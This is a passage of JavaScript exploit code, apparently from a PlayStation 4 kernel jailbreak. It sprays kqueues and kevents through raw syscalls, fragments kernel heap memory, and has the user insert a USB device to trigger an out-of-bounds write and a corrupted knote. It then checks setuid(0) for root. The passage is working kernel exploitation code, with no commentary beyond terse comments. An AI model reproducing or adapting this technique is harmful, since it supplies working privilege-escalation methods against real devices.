| 552 | } |
| 553 | |
| 554 | var trigger_spray = function () { |
| 555 | |
| 556 | var NUM_KQUEUES = 0x1B0; |
| 557 | var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4); |
| 558 | //Make kqueues |
| 559 | { |
| 560 | for (var i = 0; i < NUM_KQUEUES; i++) { |
| 561 | chain.fcall(window.syscalls[362]); |
| 562 | chain.write_result4(kqueue_ptr.add32(0x4 * i)); |
| 563 | } |
| 564 | } |
| 565 | chain.run(); |
| 566 | var kqueues = p.array_from_address(kqueue_ptr, NUM_KQUEUES); |
| 567 | |
| 568 | var that_one_socket = chain.syscall(97, 2, 1, 0); |
| 569 | if (that_one_socket.low < 0x100 || that_one_socket.low >= 0x200) { |
| 570 | alert("invalid socket"); |
| 571 | while (1); |
| 572 | } |
| 573 | |
| 574 | //Spray kevents |
| 575 | var kevent = p.malloc(0x20); |
| 576 | p.write8(kevent.add32(0x0), that_one_socket); |
| 577 | p.write4(kevent.add32(0x8), 0xFFFF + 0x010000); |
| 578 | p.write4(kevent.add32(0xC), 0x0); |
| 579 | p.write8(kevent.add32(0x10), 0x0); |
| 580 | p.write8(kevent.add32(0x18), 0x0); |
| 581 | // |
| 582 | { |
| 583 | for (var i = 0; i < NUM_KQUEUES; i++) { |
| 584 | chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0); |
| 585 | } |
| 586 | } |
| 587 | chain.run(); |
| 588 | |
| 589 | //Fragment memory |
| 590 | { |
| 591 | for (var i = 18; i < NUM_KQUEUES; i += 2) { |
| 592 | chain.fcall(window.syscalls[6], kqueues[i]); |
| 593 | } |
| 594 | } |
| 595 | chain.run(); |
| 596 | |
| 597 | //Trigger OOB |
| 598 | alert("Insert the USB now and Press OK after seeing the pop-up notification."); |
| 599 | |
| 600 | //ESP8266 enable usb - stooged |
| 601 | |
| 602 | |
| 603 | //Trigger corrupt knote |
| 604 | { |
| 605 | for (var i = 1; i < NUM_KQUEUES; i += 2) { |
| 606 | chain.fcall(window.syscalls[6], kqueues[i]); |
| 607 | } |
| 608 | } |
| 609 | chain.run(); |
| 610 | |
| 611 | if (chain.syscall(23, 0).low == 0) { |